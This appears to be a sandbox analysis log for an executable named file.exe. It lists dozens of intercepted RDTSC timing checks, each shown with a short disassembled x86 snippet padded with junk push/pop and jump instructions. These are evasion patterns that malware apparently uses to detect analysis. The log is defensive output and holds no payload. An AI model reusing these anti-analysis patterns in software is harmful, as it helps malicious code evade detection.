Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6D46 second address: CF6D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F5500B4B7D7h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6D68 second address: CF6D74 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF6D74 second address: CF6D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7033 second address: CF703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF72D8 second address: CF72DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF72DE second address: CF7312 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5500C93296h 0x00000008 jmp 00007F5500C9329Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jnp 00007F5500C93296h 0x00000019 pop ecx 0x0000001a jno 00007F5500C932A5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFB00B second address: CFB010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDEAD second address: CFDED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5500C932A2h 0x0000000c jo 00007F5500C93296h 0x00000012 jnp 00007F5500C93296h 0x00000018 pushad 0x00000019 jno 00007F5500C93296h 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDED4 second address: CFDEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F5500B4B7D4h 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDEF8 second address: CFDF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDF03 second address: CFDF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDA92 second address: CFDAB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5500C9329Dh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5500C93296h 0x00000013 jno 00007F5500C93296h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDAB3 second address: CFDAB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D004D5 second address: D004DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0092D second address: D00931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00931 second address: D0094C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jnp 00007F5500C93296h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0094C second address: D00968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5500B4B7D3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0469D second address: D046A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D046A3 second address: D046A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D046A7 second address: D046B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03EE1 second address: D03EEB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5500B4B7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03EEB second address: D03F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5500C932A8h 0x0000000c push esi 0x0000000d jno 00007F5500C93296h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03F16 second address: D03F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D03F1C second address: D03F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08340 second address: D0834A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5500B4B7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0834A second address: D08366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08366 second address: D0837F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5500B4B7CEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0837F second address: D08383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08383 second address: D083A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CEh 0x00000007 jl 00007F5500B4B7C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007F5500B4B7C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D083A6 second address: D083BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F5500C93298h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07641 second address: D07647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07768 second address: D07776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5500C93296h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07776 second address: D0777E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0777E second address: D07783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07783 second address: D07797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F5500B4B7C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07A40 second address: D07A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5500C93296h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F5500C9329Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07A5E second address: D07A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F5500B4B7EAh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07A6E second address: D07A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jne 00007F5500C93296h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07A7F second address: D07A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07EB6 second address: D07EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07EBE second address: D07EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07EC8 second address: D07EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007F5500C9329Ah 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E4D3 second address: D0E4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CD3C second address: D0CD51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CFF4 second address: D0CFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D14D second address: D0D16C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5500C932A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D16C second address: D0D186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5500B4B7CEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D346 second address: D0D34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D34E second address: D0D35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5500B4B7C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D4CF second address: D0D4F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Bh 0x00000007 jc 00007F5500C9329Ch 0x0000000d jg 00007F5500C93296h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5500C9329Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D4F8 second address: D0D4FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0D7DD second address: D0D7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007F5500C93298h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E1AD second address: D0E1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1549B second address: D1549F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1549F second address: D154AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13622 second address: D13626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13626 second address: D1363D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5500B4B7CEh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D137C7 second address: D137E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5500C932A5h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D137E8 second address: D137F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D137F5 second address: D13817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C932A9h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13817 second address: D1381B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1381B second address: D13821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13821 second address: D13827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D13827 second address: D1382D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D148E4 second address: D148EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D148EC second address: D148FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5500C93296h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A710 second address: D1A715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D511 second address: D1D526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 jmp 00007F5500C9329Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DC0A second address: D1DC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7CDh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5500B4B7CCh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DC2D second address: D1DC49 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5500C93296h 0x00000008 jnl 00007F5500C93296h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F5500C9329Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20F8C second address: D20F96 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5500B4B7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20F96 second address: D20FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F5500C93296h 0x00000010 jmp 00007F5500C932A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D266FA second address: D26701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26701 second address: D26706 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26706 second address: D26715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jng 00007F5500B4B7C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26715 second address: D2672D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2672D second address: D26757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jno 00007F5500B4B7D2h 0x0000000f pushad 0x00000010 ja 00007F5500B4B7C6h 0x00000016 jp 00007F5500B4B7C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D270C6 second address: D270F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C932A5h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F5500C9329Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D270F5 second address: D270FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D270FA second address: D27112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27112 second address: D27118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27118 second address: D2711C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27261 second address: D27265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27265 second address: D2726B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2726B second address: D272AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5500B4B7D9h 0x00000008 jmp 00007F5500B4B7D0h 0x0000000d popad 0x0000000e pushad 0x0000000f jng 00007F5500B4B7C6h 0x00000015 jmp 00007F5500B4B7CAh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28418 second address: D2842A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F5500C93298h 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D262BD second address: D262C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B441 second address: D2B445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0FA second address: D2F0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0FE second address: D2F128 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5500C932A4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5500C9329Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA5F second address: D2EA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA67 second address: D2EA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED79 second address: D2ED7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED7D second address: D2ED95 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F5500C93296h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31621 second address: D31629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31629 second address: D3162D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36C53 second address: D36C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D192 second address: D3D196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D320 second address: D3D324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
